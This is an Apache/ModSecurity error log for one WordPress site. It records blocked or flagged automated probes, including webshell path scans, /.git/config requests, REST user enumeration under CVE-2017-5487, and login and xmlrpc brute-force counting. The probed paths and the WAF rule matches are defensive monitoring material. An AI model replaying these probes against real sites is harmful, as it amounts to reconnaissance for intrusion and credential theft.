[Sun Nov 23 04:01:18.653916 2025] [:error] [pid 56181:tid 56243] [client 103.163.161.30:50819] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSIWjskLwhNGnt-ns6aUYQAAAII"]
[Sun Nov 23 04:01:18.931926 2025] [:error] [pid 56275:tid 56300] [client 103.163.161.30:50890] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aSIWjrhaClcAPg7VXOSFtAAAANU"]
[Sun Nov 23 04:01:19.204212 2025] [:error] [pid 56181:tid 56244] [client 103.163.161.30:50986] [client 103.163.161.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aSIWj8kLwhNGnt-ns6aUeAAAAIM"]
[Sun Nov 23 04:28:43.341506 2025] [:error] [pid 38740:tid 38803] [client 104.28.163.28:28722] [client 104.28.163.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSIc-w13QPZSi6O8umWCpAAAAIc"]
[Sun Nov 23 04:52:29.657166 2025] [:error] [pid 38739:tid 38782] [client 82.165.67.211:52830] [client 82.165.67.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.67.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSIijQdvEgJm2n2cDmrylwAAAE0"]
[Sun Nov 23 05:31:58.170341 2025] [:error] [pid 38738:tid 38753] [client 185.20.224.200:58592] [client 185.20.224.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.20.224.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSIrzgytc6TL9XavPmPK2gAAAAs"]
[Sun Nov 23 06:11:42.889194 2025] [:error] [pid 38824:tid 38847] [client 81.169.221.4:34906] [client 81.169.221.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.221.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSI1Hk8WZjXLvbHTHPfSygAAANQ"]
[Sun Nov 23 06:36:05.584174 2025] [:error] [pid 44652:tid 44707] [client 170.106.187.106:56026] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSI61diQFwsyXQDhwyDbFQAAAQE"]
[Sun Nov 23 06:44:51.056611 2025] [:error] [pid 38738:tid 38759] [client 161.97.139.169:48288] [client 161.97.139.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.139.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSI84wytc6TL9XavPmPj6wAAABE"]
[Sun Nov 23 07:25:47.245800 2025] [:error] [pid 38739:tid 38791] [client 178.128.255.38:36186] [client 178.128.255.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.255.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJGewdvEgJm2n2cDmo4kAAAAFY"]
[Sun Nov 23 07:59:30.817267 2025] [autoindex:error] [pid 38824:tid 38842] [client 84.247.191.22:58430] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 23 08:30:48.080297 2025] [:error] [pid 38824:tid 38831] [client 189.48.255.108:59455] [client 189.48.255.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.48.255.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJVuE8WZjXLvbHTHPcDsQAAAMQ"]
[Sun Nov 23 08:30:50.877458 2025] [:error] [pid 38739:tid 38782] [client 189.48.255.108:59509] [client 189.48.255.108] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSJVugdvEgJm2n2cDmpXcgAAAE0"]
[Sun Nov 23 08:34:16.133474 2025] [:error] [pid 38740:tid 38811] [client 189.48.255.108:58807] [client 189.48.255.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.48.255.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJWiA13QPZSi6O8umXVQgAAAI8"]
[Sun Nov 23 08:39:54.361110 2025] [:error] [pid 38739:tid 38774] [client 85.237.229.18:54428] [client 85.237.229.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.237.229.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJX2gdvEgJm2n2cDmpbgQAAAEU"]
[Sun Nov 23 08:41:08.905632 2025] [:error] [pid 44652:tid 44713] [client 189.48.255.108:57011] [client 189.48.255.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.48.255.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJYJNiQFwsyXQDhwyAIqAAAAQc"]
[Sun Nov 23 08:46:03.713280 2025] [:error] [pid 38738:tid 38755] [client 189.48.255.108:61818] [client 189.48.255.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.48.255.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJZSwytc6TL9XavPmMVyAAAAA0"]
[Sun Nov 23 08:50:03.928448 2025] [:error] [pid 38738:tid 38752] [client 189.48.255.108:58900] [client 189.48.255.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.48.255.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJaOwytc6TL9XavPmMYUwAAAAo"]
[Sun Nov 23 09:17:16.847804 2025] [:error] [pid 38824:tid 38849] [client 46.62.194.3:38238] [client 46.62.194.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.194.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJgnE8WZjXLvbHTHPcSsgAAANY"]
[Sun Nov 23 09:47:01.147343 2025] [:error] [pid 38738:tid 38766] [client 54.226.125.235:47824] [client 54.226.125.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSJnlQytc6TL9XavPmMuGgAAABg"]
[Sun Nov 23 09:59:41.535944 2025] [:error] [pid 38740:tid 38801] [client 51.89.116.113:27883] [client 51.89.116.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.89.116.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJqjQ13QPZSi6O8umXwLAAAAIU"]
[Sun Nov 23 10:19:00.327639 2025] [proxy_fcgi:error] [pid 38740:tid 38804] (70007)The timeout specified has expired: [client 51.81.107.180:39148] AH01075: Error dispatching request to : (polling)
[Sun Nov 23 10:39:09.240728 2025] [:error] [pid 38738:tid 38766] [client 5.161.103.140:60086] [client 5.161.103.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.161.103.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJzzQytc6TL9XavPmM8xAAAABg"]
[Sun Nov 23 10:52:18.088674 2025] [:error] [pid 38824:tid 38848] [client 138.197.170.183:57250] [client 138.197.170.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.170.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSJ24k8WZjXLvbHTHPcuMgAAANU"]
[Sun Nov 23 10:52:20.394615 2025] [:error] [pid 38738:tid 38766] [client 138.197.170.183:58990] [client 138.197.170.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.170.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSJ25Aytc6TL9XavPmNBtgAAABg"]
[Sun Nov 23 11:16:54.972486 2025] [:error] [pid 38740:tid 38815] [client 185.199.223.39:40992] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJ8pg13QPZSi6O8umUDvQAAAJM"]
[Sun Nov 23 11:23:44.579065 2025] [:error] [pid 38738:tid 38745] [client 159.223.226.118:58726] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSJ-QAytc6TL9XavPmNMBwAAAAM"]
[Sun Nov 23 12:03:02.921523 2025] [:error] [pid 38740:tid 38817] [client 91.226.10.36:54198] [client 91.226.10.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.226.10.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKHdg13QPZSi6O8umURrgAAAJU"]
[Sun Nov 23 12:39:11.651005 2025] [:error] [pid 44652:tid 44725] [client 185.21.112.38:44890] [client 185.21.112.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.21.112.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKP79iQFwsyXQDhwyBH1gAAARM"]
[Sun Nov 23 13:17:46.940512 2025] [:error] [pid 44652:tid 44707] [client 107.180.253.134:49286] [client 107.180.253.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.253.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKY-tiQFwsyXQDhwyBSfgAAAQE"]
[Sun Nov 23 13:21:45.894162 2025] [:error] [pid 38824:tid 38844] [client 108.179.211.98:34162] [client 108.179.211.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.211.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSKZ6U8WZjXLvbHTHPdW1AAAANE"]
[Sun Nov 23 13:21:48.413254 2025] [:error] [pid 38740:tid 38798] [client 108.179.211.98:49904] [client 108.179.211.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.211.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSKZ7A13QPZSi6O8umUskAAAAII"], referer: http://gigfragments.org/wp-login.php
[Sun Nov 23 13:21:50.468304 2025] [:error] [pid 38824:tid 38830] [client 108.179.211.98:50702] [client 108.179.211.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSKZ7k8WZjXLvbHTHPdW2gAAAMM"], referer: http://gigfragments.org/wp-login.php
[Sun Nov 23 13:21:51.264928 2025] [:error] [pid 38738:tid 38762] [client 108.179.211.98:51008] [client 108.179.211.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.211.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSKZ7wytc6TL9XavPmN77QAAABQ"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Sun Nov 23 13:28:16.063375 2025] [:error] [pid 38824:tid 38834] [client 54.226.125.235:34090] [client 54.226.125.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSKbcE8WZjXLvbHTHPdYbQAAAMc"]
[Sun Nov 23 13:59:52.164679 2025] [:error] [pid 38739:tid 38779] [client 34.165.13.211:32862] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKi2AdvEgJm2n2cDmrQ1wAAAEo"]
[Sun Nov 23 15:07:10.028689 2025] [:error] [pid 44652:tid 44730] [client 34.118.199.90:54055] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKyntiQFwsyXQDhwyBuPwAAARg"]
[Sun Nov 23 15:07:13.443643 2025] [:error] [pid 44652:tid 44718] [client 34.118.199.90:54055] [client 34.118.199.90] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSKyodiQFwsyXQDhwyBuRAAAAQw"]
[Sun Nov 23 15:07:15.016643 2025] [:error] [pid 44652:tid 44713] [client 34.118.199.90:54055] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKyo9iQFwsyXQDhwyBuSwAAAQc"]
[Sun Nov 23 15:07:17.046828 2025] [:error] [pid 38740:tid 38808] [client 34.118.199.90:50624] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKypQ13QPZSi6O8umVLegAAAIw"]
[Sun Nov 23 15:07:18.938428 2025] [:error] [pid 38738:tid 38761] [client 34.118.199.90:64396] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKypgytc6TL9XavPmOmAwAAABM"]
[Sun Nov 23 15:07:20.690198 2025] [:error] [pid 38824:tid 38840] [client 34.118.199.90:55206] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKyqE8WZjXLvbHTHPdzDwAAAM0"]
[Sun Nov 23 15:07:22.377101 2025] [:error] [pid 44652:tid 44715] [client 34.118.199.90:58104] [client 34.118.199.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.118.199.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKyqtiQFwsyXQDhwyBuVgAAAQk"]
[Sun Nov 23 15:07:22.377277 2025] [:error] [pid 44652:tid 44715] [client 34.118.199.90:58104] [client 34.118.199.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.118.199.90, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSKyqtiQFwsyXQDhwyBuVgAAAQk"]
[Sun Nov 23 15:19:44.917108 2025] [:error] [pid 38739:tid 38779] [client 103.1.187.190:51678] [client 103.1.187.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.1.187.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSK1kAdvEgJm2n2cDmroGgAAAEo"]
[Sun Nov 23 15:55:34.887931 2025] [:error] [pid 38740:tid 38812] [client 64.227.125.32:50166] [client 64.227.125.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.125.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSK99g13QPZSi6O8umVYKgAAAJA"]
[Sun Nov 23 15:55:37.078437 2025] [:error] [pid 38740:tid 38818] [client 64.227.125.32:59158] [client 64.227.125.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.125.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSK9-Q13QPZSi6O8umVYLAAAAJY"]
[Sun Nov 23 16:03:50.189880 2025] [:error] [pid 38739:tid 38775] [client 150.109.180.208:45206] [client 150.109.180.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.109.180.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSK_5gdvEgJm2n2cDmrxjQAAAEY"]
[Sun Nov 23 16:45:30.704810 2025] [:error] [pid 14602:tid 14642] [client 54.38.208.175:58338] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.208.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSLJqh-I77jdD81pU-mkIQAAAVU"]
[Sun Nov 23 16:46:36.561067 2025] [autoindex:error] [pid 17534:tid 17559] [client 140.99.1.52:52655] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:36.674965 2025] [autoindex:error] [pid 17534:tid 17542] [client 140.99.1.52:52655] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:36.816925 2025] [autoindex:error] [pid 17534:tid 17557] [client 140.99.1.52:52655] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:36.980845 2025] [autoindex:error] [pid 17534:tid 17553] [client 140.99.1.52:52655] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 18:09:49.810224 2025] [:error] [pid 44652:tid 44717] [client 89.163.209.235:36784] [client 89.163.209.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.209.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSLdbdiQFwsyXQDhwyDurAAAAQs"]
[Sun Nov 23 19:12:23.610628 2025] [:error] [pid 17534:tid 17550] [client 81.91.178.190:55984] [client 81.91.178.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.91.178.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSLsF3PX9nXBrhgM8sx9bwAAAc4"]
[Sun Nov 23 19:36:49.312121 2025] [:error] [pid 38738:tid 38750] [client 47.128.205.171:36004] [client 47.128.205.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.128.205.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSLx0Qytc6TL9XavPmNDhQAAAAg"]
[Sun Nov 23 20:16:32.839865 2025] [:error] [pid 38824:tid 38851] [client 211.159.153.20:36414] [client 211.159.153.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.159.153.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSL7IE8WZjXLvbHTHPf6uQAAANg"]
